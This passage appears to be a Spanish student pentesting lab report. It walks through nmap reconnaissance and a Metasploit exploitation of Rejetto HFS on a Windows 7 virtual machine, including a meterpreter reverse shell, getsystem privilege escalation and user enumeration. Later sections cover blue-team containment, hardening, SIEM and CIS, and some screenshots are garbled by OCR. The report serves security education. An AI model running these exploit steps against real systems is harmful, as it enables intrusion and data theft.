Adicionalmente nos muestra informacion importante del sistema operativo al cual
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estamos accediendo, dando informacion que permite ejecutar la explotacion de una manera mas

facil, durante la recoleccion de informacion se logra obtener:
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La MAC 08:27:92:80:c0. Donde se encuentra instalado: Oracle VirtualBox Virtual NIC
OS CPE que corresponde a Windows7 profesional sp1, Nombre del Equipo: PC202006, El grupo
de Trabajo: WORKGROUP.

Con toda la informacidon que se recolecto en la fase 1 procedemos a iniciar nuestra fase 2
que corresponde al modelado de amenazas aqui se procede con utilizamos la herramienta
METASPLOID ya que nos permite validar las posibles vulnerabilidades y llegar a explotarlas
aqui se comprueba la defensa del sistema que se va a intervenir y cuéles son las vulnerabilidades
detectadas que nos permitira explotarlas en las siguiente fase. A través de Kali Linux con el
comando msfconsole abrimos la aplicacion la consola de metasploit asi:

Figura 13

Acceso Consola de Metasploit

~

Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

dsp
d8P d888sb Swhi?88b
288, .d88b, d88 ds8P'

Bb ¢
dsP 88b 78888P'

8P’ 88n

Nota: Se conecta a través de la aplicacion HFS logrando acceder a la maquina.
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Una vez cargada la consola de metasploit y con la informacion recopilada con el nmap en
relacion a la vulnerabilidad observada del programa HFS se procede con nuestra tercera fase del
pentesting que corresponde al analisis de vulnerabilidades se hace una bdsqueda a traves del
comando search hfs y encontramos que se puede hacer una explotacion a través del exploit a
través de la aplicacion detectada con la herramienta nmap en su escaneo de puertos.

Figura 14
Ejecucion Comando Search hfs

msf6é > search hfs

Matching Modules

# Name Disclosure Date
Rank Check Description

exploit/multi/http/git_client_command_exec 2014-12-18
No Malicious Git and Mercurial HTTP Server For CVE-2014-9390
\_ target: Automatic

p) \_ target: Windows Powershell

3 exploit/windows/http/rejetto_hfS_rce_cve_2024_23692 2024-05-25
Yes Rejetto HTTP File Server (HFS) Unauthenticated Remote Code
Execution
4 exploit/windows/http/rejetto_hfs_exec 2014-09-11
Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example

msf6 > use 4

No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit( ) > show option

Invalid parameter "option", use "show -h" for more information
msf6 exploit( ) > show options

Nota: Se ejecuta el comando search hfs para detectar el exploit y explotar la vulnerabilidad.
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Una vez definida el exploit por el cual se realizara la explotacion procedemos con la
cuarta fase que corresponde a la explotacion seleccionamos el numero 4 de las opciones listadas
ejecutando el exploit.

Una vez ejecutamos el exploid requiere que sea configurada razon por la cual se ejecuta
el comando show options en los campos RHOST RPORT
Figura 15

Ejecucion Comando Show Options

msf6 exploit( ) > set RHOSTS 192.168.1.135
RHOSTS = 192.168.1.135 Payload options (windows/meterpreter/reverse_tcp):
msf6 exploit( ) > show options
Module options (exploit/w Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh
thread, pro none)
LHOST 192.168.1.104 yes The listen address (an interface m
ay be specified)
LPORT (A yes The listen port

Name Current Setting

HTTPDELAY 10
192.168.1.135
80

SRVHOST 0.0.0.0

S,
SRVPORT 8080 yes The local port to listen on.
SSL false r Negotiate SSL/TLS for o ing conn
SSLCert Path to a ce icate
TARGETURI / yes The path o application
URIPATH no The URI to this exploit (de
VHOST HTTP server virtual host

Exploit target:

Id Name

0 Automatic

Nota: Se configuran las diferentes opciones del exploit.

Se configura el RHOST que corresponde a la IP de la maquina victima Windows 7 en
cuanto al RPORT por defecto estaba configurado en el puerto 80 que corresponde al puesto
abierto

En las opciones igualmente nos muestra el playload que se utilizara la cual por defecto
cargo la informacion del maquina Kali Linux en relacion con LHOST y LPORT en este caso
maquina atacante

Se procede a ejecutar el exploit como se observa a continuacion una vez se conecta a la
maquina W7 a través de una sesion de meterpreter se conoce méas informacion de con el

comando sysinfo.
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Figura 16

Ejecucion del Exploity Sysinfo

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.104:4444

Using URL: http://192.168.1.104:8080/da9H4ZviB

Server started.

Sending a malicious request to /

Payload request received: /da9H4ZviB

Sending stage (176198 bytes) to 192.168.1.135

Tried to delete XTEMPX\AQcDnXcWZIWUuf.vbs, unknown result

Meterpreter session 1 opened (192.168.1.104:4444 — 192.168.1.135:49183)
Server stopped.

meterpreter > sysinfo

Computer : PC202006

0S : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64

System Language : es_CO

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x86/windows

meterpreter > help

Nota: Se accede al equipo victima desde el equipo atacante a través de una sesion meterpreter.

Para conocer mas acerca de meterpreter podemos utilizar el comando help para ver los
comandos que podemos utilizar para acceder a los diferentes recursos de la maquina a través del
meterpreter como el usuario a través del comando getuid y sus privilegios a través del comando
getprivs como observamos a continuacion el usuario no tiene privilegios de administrador.
Figura 17

Elevacion de Privilegios

urityPrivilege

Nota: Se elevan privilegios en el equipo victima para tener control total de la maquina.
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Con el comando getsystem se puede elevar privilegios al usuario dejdndolo como NT
AUTHORITY\SYSTEM antes se encontraba como Server username: PC202006\usuario con el
comando Is podemos listar los archivos contenidos en las carpetas, y los deméas comandos como
cd para retroceder en las carpetas, cd para abrir carpetas y pwd vemos en que directorio nos
encontramos.

Figura 18

Acceso a directorios y archivos

lali@kali: ~

meterpreter > ls

Listing: C:\Users\usuario\Desktop\Rejjeto_123456 nagactions Rt EN ey

Last modified Name
) 2024-11-11 11:28:39 -0500 XTEMP%
rw- 14632847 fil  2020-11-28 10:4 DarkComet_12345
wxrwx 760320  fil  2014-02-16 07:58:52 -0500 hfs.exe

Nota: Comandos que permiten acceder a informacion confidencial permitiendo robarla.

También podemos acceder desde el powershell y ejecutar muchas opciones desde linea
de comandos que también permiten verificar informacién adicional como lo es el comando net
user que permite ver cuantas de usuario creadas en el sistema.

Figura 19

Uso de Powershell

meterpreter > load powershell

Loading extension powershell ... Success.
meterpreter > powershell_shell

PS > net user

PS > wmic useraccount get name
Name

Administrador

HomeGroupUser$

Cuentas de usuario de \\PC202006
Invitado

pruebal

Administrador Invitado pruebal
usuario
Se ha completado el comando correctamente.

usuario

Nota: Con este comando logramos acceder a informacion de la maquina.
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Para la fase de post explotacion una vez encontradas las vulnerabilidades reales y que
fueron explotadas y remediadas, se debe persistir en el sistema para volver a acceder al mismo
toda vez que se abren nuevos servicios ocultos que también podrian ser explotados, por eso la
importancia de continuar con una explotacién posterior mas a profundidad que nos permita
extraer nueva informacién de posibles vulnerabilidades en busca de soluciones de los fallos de
seguridad y lograr mitigarlos.

Reporte (Reporting) En esta ultima fase del Pentesting, se centra en generar un informe
estructurados que evidencie los fallos de seguridad que se encontraron, las amenazas de
ciberseguridad existentes, las soluciones de mitigacién y las acciones de mejora en la seguridad
de la organizacion.

Es importante que el informe sea comprensible por parte del personal técnico y no
técnico de la empresa en todos sus niveles deben generarse informes técnicos y ejecutivos
destinado para la toma de decisiones que permita a la organizacion tomar las medidas de
asegurabilidad de sus sistemas de ciberseguridad.

2. A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3 que
le fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la maquina
windows.

La primera mision del equipo Red Team es lograr identificar porqué medio o proceso se
esta generando una serie de fuga de informacién la cual se presenta al interior de la organizacion
en uno de sus equipos de computo en la dependencia. La informacion inicial con la que cuenta el
equipo es que la maquina donde se esta generando la fuga de informacion tiene instalada una
aplicacion vulnerable bajo un windows; esta aplicacion al parecer tiene asociado un exploit que

puede terminar en un acceso a través de Shell, escalacion de privilegios u otro tipo de ataque.
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Dentro de la indagacién, también se investiga un escalamiento de privilegios por medio de la
creacion de un usuario tipo administrador del sistema.

Con esta informacion suministrada en el anexo se logra evidenciar que la organizacion se
encuentra expuesta a un ataque por medio de la vulneracion que se evidencio durante el ejercicio

3. ¢Qué herramienta utiliz6 para poder identificar los fallos de seguridad de la “maquina
Windows™? ;Qué puerto abre la aplicacion especifica en el anexo?

Las herramientas utilizadas durante el desarrollo del ejercicio fueron:

Una maquina con Kali Linux

La aplicacion nmap para escanear los puertos abiertos vulnerables y la informacion del
sistema operativo victima

La consola de Metasploit que nos permite buscar exploit de la vulnerabilidad encontrada
con nmap y ejecutarla para tomar el control de las maquinas

Sesion de meterprter

Powershell

4. Explique con sus palabras y de manera especifica como afecta el ataque a la maquina
(Windows), haga uso de gréficos para explicar el ataque.

El ataque a la maquina Windows puso en riego la informacion de la empresa toda vez que
accedieron con privilegios de administrador elevandolos, logrando tener el control total de la
maquina logrando desde esa maquina hacer pivoting escala de privilegios pueden hacer
movimientos laterales y persistencia para que siempre continten accediendo a los recursos e

informacion de la organizacion.



Figura 20

Diagrama del Ataque
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Nota: Se observa el diagrama del ataque presentado a la maquina victima.
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Contencién de Ataques Equipo Blue Team

¢Qué seria lo primero que indagaria y haria si llegara a encontrarse un ataque en tiempo
real?

En caso de encontrarme con un ataque en tiempo real se debe indagar inicialmente con el
equipo Red Team el tipo de ataque que se esta sometiendo la empresa, con el fin de tomar las
decisiones més acertadas frente a este activo de informacion determinando su alcance, impacto y
vulnerabilidades explotadas para mitigar el riesgo en los demas activos de la empresa, por tal
razén con la indagacion preliminar se procede:

Aislar de manera inmediata el equipo de la red, con el fin contener el ataque y evitar su
propagacion en la red de la empresa. Se procede a la desconexion del punto de red inhabilitando
el acceso al equipo para evitar que sea atacado o accedido de manera remota.

Revisar que el firewall se encuentre activo y configurado con altos niveles de seguridad
una vez validado en el win7 se observa a continuacién que esta desactivado por tal razon se
procede a su activacion.

Figura 21

Desproteccion y Proteccion Firewall

Y

& <« Todos los elementos de Panel .. » Firewall de Windows v iy »

Ventana principal del Panel de

Firewall de Windows

o software malintencionado obtengan

% Cambiar la configuracion de
notificaciones

% Usar a configuracién recomendada

I & Redes domésticas o de trabajo (privadas)  No conectado (¥

l &3 Redes publicas Conectado (&
Redes en lugares publicos como aeropuertos o cafeterias

Estado de Firewall de Windows:

Conexiones entrantes:

Redes piiblicas activas

Nota: Se observa que el Firewall se encontraba desactivado y se activa.
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Bloquear las direcciones IP origen del ataque: a través del firewall procedemos a

bloquear la ip atacante en este caso la maquina Kali Linux ubicada en al IP 192.168.1.104

aplicando una nueva regla bloqueando la conexion

Figura 22

Bloqueo de Direcciones IP a través de Reglas.
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Archive Accién  Ver  Ayuda Ambito
«o 2@ : HE Espectique las drecciones IP local y remota a las que se aplca exta regla
o P e Wit o g Acdones
""‘::mf"‘ Nombre Gupa Pefil  Habiitado  Ac * | Regltsdeentrads - Pasns;
A\M,“’ de seguridad de con | @ Firefox (C:\Program Files\Mozila Firefox Priado Si Pei | i Nuewaregh oo
B Supervisin ) Firefox (C:\Program Files\Mozilla Firefox) Privado i Per || 7 Fatrae por perft » A qué drecciones IP locales se aplica esta regla?
Wi Priva—.  No Pe Cusknder dreccén P
deWi. Domi. No po |V Fwrporasado i
Wi F.. Domi. No Per || W Fitrar por grupo » © Estas drecciones IP:
Wi, Fu Prive. No P Ver » - [ Ageger. |
w Pivae  No Per Pedi 1
Domi. No 1 G Actusiizar i [ Eoar. ]
Domi No e || Epodariista.. . oa=—]
Priva_ No Per Ayuds
Priva.  No Per orfaz & los que se ‘
Domi.. Ne P Personakzar.
o~ Priva. No P A qué direcciones IP remotas se aplica esta regla?
NP Domi.. No Pe Cualquier dreccién IP
®PC) Oomi.. No 2 ® Extas dvsccicnss P
®PC) Priva.  No Pe
(P Domi No 2 Lot
RPC Priva.  No Pe
Priva. No Pe
Domi.. Ne P
Domi. No Py
Piva No 2
de Windows - M. Domi. Ne Pe )
Ards Sguerte > Cancelar
ﬂmmmm«m @ DH.“““‘ ‘EQ-E
Accion Ao Aoin Ve Aui
Especique la accién que debe levarse  cabo cuando una coneén concide con las condciones laregla o970 :/08
e —— . =
Getady .
:t* g Nosdre Gnpo Pefi Hublds keos olde Pogams Drecconked Dot Ihﬁm 0
$¥) -
:'D-""m 5 Py —— T § Soper o Cupen BUBLN 101 Meange.
incluye las conexiones protegidas medante [Psec y las que no ko estén ¥ e z 5 R 5 i
B Squice (e rogon s oo Bak § b b Chpe Gl Gl o )
Parmitir ta conexién sl s sepura (e R s P § L I ¢ R
Esto incluye solamerte las conexiones 1Psec
medante Ia configuracién de reglas y propiedades de IPsec del nodo Regla de segundad de
@ Nombre
i Fonleindoscrsggoinnads =ET
Mo Acoen Ve Ande

© Bloquear la conexién

Mas informacin acerca de las acciones

[ chss |[squete> ] [ Concoer |

LLIE L s
e e

Digstens

Micnbots. | P Dot Do ik el b s oot * gt A
Nisempibiien o (doin WK RBUN Gy (i Gim  (dpin (g ]| e [
B Sqeisn b G Gl Gl 0 s Glie Glm g lonog ;

e (o (wuen  (wigaen w (oen  (wuer  Cukwen (iguen

£ 1]
b ek Gl Sl 10 hedi (e (awn (s ¥ g ‘

Nota: Con esta configuracion y despliegue de reglas se bloquea el acceso a la maquina por la IP.

Revisar las Log de la maquina, el administrador de tareas, el visor de eventos a fin de

evidenciar ejecucion de procesos, tareas, eventos de seguridad, aplicaciones y demas ejecuciones

que sean no comunes que se ejecuten desde el activo de informacién victima del ataque, como no
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se tiene implementado en la empresa un SIEM que nos permita evaluar estos tipos de hallazgos a
través del monitoreo en tiempo real, lo debemos hacer de manera manual.

Validar el sistema operativo atacado si este cuenta con el soporte del fabricante que
garantice aplicar las actualizaciones en seguridad periédicamente, evitando el uso de
vulnerabilidades ya descubiertas, detectadas y resultas por el fabricante si no se actualiza el
activo de informacion. En este caso encontramos que el sistema operativo tiene una copia sin
licenciar ademas no cuanta con soporte del fabricante lo cual lo hace mas vulnerable debido a
que no se pueden correr las actualizaciones por tal razon se recomienda actualizar el sistema
operativo a uno superior para este activo de informacion.

Revisar que el antivirus se encuentre actualizado a su Ultima version de actualizacion, se

observa que no cuenta con un antivirus instalado por tal razén continda siendo mas vulnerable.
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Medidas de Hardenizacion

¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team, qué medidas de
hardenizacion propondria para que el ataque no se repita?

Para minimizar los riesgos de ataque a los activos de informacion de la empresa a
continuacion relacionare las medidas de hardenizacion que se deben aplicar para evitar que se
materialicen o se repitan este tipo de ataques:

Instalar actualizaciones de seguridad a través de politicas por medio de un cronograma
que permita de manera regular la instalacion de las actualizaciones al sistema operativo y
antivirus logrando con esto reducir posibles vulnerabilidades, aplicando buenas précticas.

Para nuestro ejercicio vemos que el equipo Windows 7 se encuentran las actualizaciones
desactivadas, se hace imposible su actualizacion ya que no es una copia original Windows.

Validar reglas de firewall las cuales pueden estar muy genéricas y con un bajo nivel de
seguridad para el sistema operativo como lo ocurrié con la maquina victima donde el firewall se
encuentra desactivado. Se activa y se bloquea las IP atacantes.

Validar que las herramientas antivirus instaladas se encuentren actualizados ademas de
herramientas perimetrales que permitan ampliar la proteccion del firewall bloqueando tréfico
anormal, también se pueden utilizar otra herramienta que permiten mitigar riegos de seguridad
pro ataques informaticos conocida como IPS sistemas de prevencidn e intrusiones que permite
monitorear y analizar trafico en la red en tiempo real para detectar comportamientos maliciosos o
anomalos que permiten sospechar razon por la cual despliega una seria de mediadas que le
permite bloquear proviniendo la amenaza causando un intento fallido de ataque, mientras que los
IDS sistemas de deteccidn de intrusiones solo se usa para alertar de la presencia de posibles

amenazas al lider de seguridad estas herramientas permiten garantizar la integridad y
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confidencialidad de la informacion sensible. Se procede a la instalacion y actualizacion del
antivirus protegiendo el equipo de virus y malware.

Aplicar controles de acceso fortaleciendo el uso de contrasefias robustas y autenticacion
segura como lo es el doble factor de autenticacion, deshabilitar el uso de usuarios genéricos por
default.

Robustecer el servidor de hfs con cabeceras de contenido seguro, CSP, proteccion de tipo
de contenido nosniff, del mismo modo para evitar el clicjacking se utiliza la cabecera de
xframeoptions opcion sabe origen como se muestra a continuacion. Lo que nos permite proteger
ataques de ciberdelincuencia cerrando las posibilidades de ataques que afecten los activos de la
empresa.

Figura 23

Cabezas de contenido seguro.

arm htrnes Aatas Inneafi=inlinas! "nheafeearall™ aluntras
Sre ateps: aatas msaté=inline Insare~eval aiways;

ins" always:

Nota: Con esta configuracion se evitan ataques de ciberdelincuentes.

Reducir el campo de accidn para los atacantes por medio de la aplicacién de politicas
procedimientos y buenas practicas, que conlleven a deshabilitar servicios que no se usan en las

maquinas, eliminando las posibles vulnerabilidades.



Implementar copias de seguridad a fin de salvaguardar los activos de informacion
salvaguardando la informacion en su integridad.

Adicionalmente se pueden instalar balanceadores de red para distribuir y controlar el
trafico de la red a través de varios servidores ademas de la configuracion de una DMZ que
proporciona un bufer entre internet y la red privada evitando que los atacantes puedan hacer el
reconocimiento para obtener informacion de los activos de la empresa.

Instalar herramientas de seguridad que prevengan intrusiones en el sistema detectando
trafico anormal o maliciosos como fail2ban la cual bloquea IPs que intentan acceso con
contrasefias erradas, conexiones remotas por fuerza bruta.

Realizar pruebas de seguridad para identificar las posibles brechas de seguridad a traves
de los controles de acceso, firewall y sistemas de deteccidn de intrusos con herramientas como
Nexus la cual cuenta con plantillas de aseguramiento la cual nos dan recomendaciones o buenas

practicas y como implementarlo.
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Diferencias Entre Un Equipo Blueteam y Un Equipo de Respuesta a Incidentes
Informaticos

¢Describa con sus palabras las diferencias entre un equipo Blueteam y un equipo de
respuesta a incidentes informaticos?

El equipo Blueteam tiene como competencia detectar prevenir y mitigar cualquier tipo de
amenaza o ataque informatico antes que se presenten, por tal razén este equipo debe
constantemente monitorear la infraestructura de los activos de informacién de la empresa, a
través de pruebas de vulnerabilidad las cuales planifica desarrolla y genera informes de los
resultados que permite evidenciar los ataques, andlisis de ciberseguridad, al igual descubrimiento
de los vectores de ataque, lo cual conduce a la aplicacion de politicas, procesos y procedimientos
de seguridad, a su vez mediadas de seguridad y hardenizacion como las comentadas en el punto
anterior, aplicando un rol defensivo y proactivo en la seguridad informatica de la empresa.

En cuanto al equipo de respuesta de incidentes (CSIRT-CERT) su competencia es atender
y responder a los incidentes informaticos de seguridad cuando se materializa, es el encargado de
minimizar el incidente, restaurando la operatividad de los sistemas afectado, se encarga de
investigar las causas del incidente, recopilacion de las pruebas que permita socializarlo al comité
de crisis de la empresa a mas alto nivel, posteriormente divilgalo a las autoridades para que se
apliquen todo el protocolo de seguridad en las deméas empresas o aliados para evitar esta clase de

ataques, esto equipos aplican un rol reactivo en la seguridad informatica de la empresa.
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CIS “Center For Internet Security”

¢Si dentro de un equipo Blue Team le indican que debe trabajar con CIS “Center For
Internet Security”, usted lo utilizaria para qué fin?

Inicialmente debemos conocer més a fondo el CIS Centro de Seguridad en Internet,
reconocido a nivel mundial como el principal estandar de configuracion segura, a su vez
desarrolla checklist de verificacion que permiten identificar y mitigar las vulnerabilidades en
materia de seguridad, posee un banco de informacion relacionada con la ciberseguridad que se
utiliza para mitigar y prevenir ser victima de hurto y fuga de informacion.

Asi como se puede validar la importancia del CIS a nivel mundial efectivamente lo
utilizaria dentro de mi equipo Blue Team puesto que la informacién que nos suministra
permitiria a la empresa identificar y mitigar posibles vulnerabilidades en temas de seguridad
aplicando los recursos y herramientas de verificacion que CIS tiene a disposicién minimizando
los riesgos de seguridad que se puedan presentar hasta su contencion y/o eliminacién
garantizando que el grupo de Blue Team altos niveles de seguridad mejorando en deteccion

prevencion de las amenazas informéticas que se puedan presentar
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Funciones y Caracteristicas Principales de lo Que Es Un SIEM.

SIEM (Security Information and evento Management) Sistema de gestion de eventos e
informacion de seguridad, este sistema tiene el control sobre la seguridad informatica de la
empresa toda vez que es un correlacionador de eventos que centraliza sus Logs para detectar
tendencias y patrones fuera de lo normal esté en la capacidad de detectar responder y neutralizar
las amenazas informaticas antes que se materialicen gracias a su sistema central que
proporcionando una visién global de la seguridad de la tecnologia de la informacion SIEM es la
combinacion de SEM (gestion de eventos de seguridad) y SIM (gestion de informacién de
seguridad). Esta unién genera una recuperacion mas agil de los eventos de seguridad a través de
su identificacion y anélisis
Funciones del SIEM

Realiza recopilacion de forma centralizada de datos de todos los dispositivos de
seguridad y los de red.

Realiza correlacion de todos los eventos para detectar diferentes patrones de
comportamiento.

Realiza el analisis de comportamiento de toda la informacion recopilada y correlacionada
de las diferentes fuentes para normalizar a través de algoritmos con el fin de identificar con
andlisis estadisticos comportamientos anémalos en la red o en los dispositivos de seguridad.

Deteccion de amenazas, en base a los resultados del andlisis se pueden detectar errores de
seguridad que se pueden materializar y convertirse en una amenaza de seguridad, razon por la

cual se hace uso de patrones y anomalias en la red para identificarlas.
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Respuesta a incidentes, una vez detectada la amenaza su puede proveer informacion
minuciosa de la amenaza y su contexto para que los equipos de respuesta a incidentes para que
pueda tomar decisiones al respecto.

Caracteristicas del SIEM

Recolectar informacion de diferentes dispositivos de seguridad o de red de las diferentes
fuentes de datos (logs del sistema, log de aplicaciones, registros de eventos, registros de
seguridad, vulnerabilidades) y demas que puedan ayudar.

Normalizar la informacion recolectada que contenga la misma fecha y hora permitiendo
hacer busquedas y anélisis de la informacion recolectada.

Anadlisis de informacion y correlacionamiento permite validar el comportamiento a través
de algoritmos y anélisis detectando anomalias que se puedan convertir en alertas y/o riesgos de
seguridad.

Modulo de gestion o Dashboard donde podamos administrar la solucion y visualizar en
tiempo real las alertas analizadas a traves del monitoreo por medio de tableros de informacion y
mediante generacion de informes del estado de seguridad de la red.

Integracion de funciones avanzadas que permitan integra con otros sistemas de seguridad.

Dentro del mercado se encuentran los siguientes SIEMS, Open Source: OSSIM de Alien

Vault, Wazuh, Sagan, OSSEC que son gratuitos, aunque este Gltimo posee una version premium.
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Herramientas de Contencion de Ataques Informaéticos

Defina por lo menos 3 herramientas de contencion de ataques informaticos “hardware o
software”, recuerde que las herramientas de contencion son diferentes a las herramientas de
deteccion.

Firewalls

Son una herramienta indispensable para evitar ataques de internet actia como una barrera
protectora que filtra el paso de trafico de red validando si se trata una amenaza o0 no permite
dividir la red internar con la red exterior, son parametrizables y se encuentran de 2 tipos. Los
firewalls de software que se instalan en las maquinas no tangibles y los firewalls de hardware
que corresponden a dispositivos fisicos tangibles instalados separando la conexion interna y el
internet
Software Antivirus y Anti Spyware

Son programas disefiados para detectar, prevenir y eliminar software malicioso y que los
equipos de computo, redes y demas dispositivos permanezcas a salvo de ataques informaticos
(ciberataques) o malware.

Sistemas de Prevencién de Intrusiones (IPS)

Herramienta de contencién de ataques informaticos que se utiliza para monitorear el
trafico de red en busca de actividades sospechosas 0 maliciosas. Estos sistemas utilizan una
combinacidn de técnicas de deteccion de intrusiones y analisis de trafico para identificar y
bloquear posibles amenazas antes de que puedan causar dafio. Los IPS pueden ser hardware o
software, y pueden ser configurados para bloquear automaticamente el trafico de red malicioso o

enviar alertas a los equipos de seguridad para una respuesta manual.
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HONEYPOT

Sistema de trampa y sefiuelo que evita un posible ataque a los sistemas informaticos de la
empresa su funcion es detectar y obtener informacion del atacante haciendo creer que ingreso al
sistema real cuando esté dentro de la simulacion logrando engafiar al ciberdelincuente y
observando lo que hacen y que vulnerabilidades esté atacando.
OSSIM de Alien Vault

Open Source Security Information Management corresponde a una coleccién de
herramientas bajo la licencia GPL, que permite detectar intrusos prevenir ataques dentro de la

red.
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Recomendaciones

Como recomendaciones para el planteamiento de estrategias que permitan endurecer los
aspectos de seguridad en una organizacion se deben tener en cuenta la implementacion de
politicas de seguridad informatica la cual se debe dar a conocer a todos los miembros de la
empresa desde el cargo menor hasta el nivel directivo, por medio de esta politica la cual debe ir
alineada con el Sistema de Gestion de la Seguridad de la Informacion (SGSI) dando aplicacion a
la norma ISO/IEC 27001.

Dentro de aspectos relevantes a tener en cuenta para lograr endurecer los aspectos de
seguridad se debe implementar buenas précticas a nivel de seguridad informéatica como son:

Correcta activacion y configuracion de los firewalls que garanticen un trafico estable en
la red a través de filtrado de peticiones y rechazo de spam.

Restringir el permiso de instalacion de aplicaciones y mucho menos de aplicaciones de
acceso remoto que puedan contener vulnerabilidades, esta tarea dede ser de uso explusivo del
area Tl de la empresa.

Eliminar el uso de usuarios con privilegios de administrador que puedan generar vectores
de ataques por desconocimiento.

Aplicar politicas de cambio de contrasefias de manera periddica a todos los usuarios

Aplicar politicas de actualizacién de sistema operativo, antivirus y todos los aplicativos
que requieran.

Gestionar tareas de backups de la informacion.

Aplicar politicas de correo no deseado que contenga archivos de extension desconocida

Mantener actualizado el software antivirus.
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Aplicar tareas de los grupos Red Team y Blue Team de manera periddica con Nmap para
revisar puertos y servicios en los equipos de computo y equipos activos de red logrando cerrar
puertos y servicios innecesarios.

Implementar herramientas de seguridad perimetral DMZ, UTM, logrando proteger de
manera efectiva la red interna de la externa mitigando cualquier tipo de ataque

Implementar las politicas de seguridad informatica alineadas con el SGSI aplicando la
norma ISO 27001.

Implementar planes de capacitacion a los miembros de la empresa socializando los

diferentes tipos de ataques a los cuales se pueden ver expuestos aplicando ingenieria social.
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Conclusiones

Se hace necesario que los equipos de ciberseguridad, garantizar la seguridad de la
informacion adelantando los procesos de pentesting, con el fin de mitigar las vulnerabilidades y
la explotacion de los fallos de seguridad que se puedan evidenciar durante las diferentes fases de
las pruebas de penetracion haciendo uso de las herramientas gratuitas que ofrece el mercado
logrando asi evaluar la infraestructura tecnoldgica y evitando posibles ciberataques que atenten
contra la confidencialidad, la integridad y la disposicién de los datos y de los sistemas
informaticos.

Los delitos informaticos y la proteccién de datos personales se encuentran regulados por
la normatividad vigente logrando que el aparato investigativo y judicial puedan judicializar a los
ciberdelincuentes que actualmente estan al acecho debido al crecimiento en materia tecnoldgica
que el pais ha venido desarrollando en los Gltimos afios.

El uso de herramientas tecnoldgicas de ciberseguridad ayuda a cerrar las brechas de
seguridad de las organizaciones cuando se establecen bajo procedimiento de Ethical Hacking y
no como delincuentes cibernéticos.

Con la aplicacion de herramientas de contencion y deteccion los equipos Blue Team
lograr desarrollar un buen trabajo a nivel de ciberseguridad, garantizar la seguridad de la
informacion apliquen las diferentes herramientas que se encuentran disponibles en el mercado.

La ejecucion del SIEM permite gestion de eventos de manera centralizada con toda la
informacion de seguridad de red, este sistema tiene el control sobre la seguridad informética de

la empresa lograr detectar y minimizar las vulneraciones al interior de las organizaciones.
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Apéndice A
Link Video Sustentacion

https://youtu.be/x-clzkA2nSI
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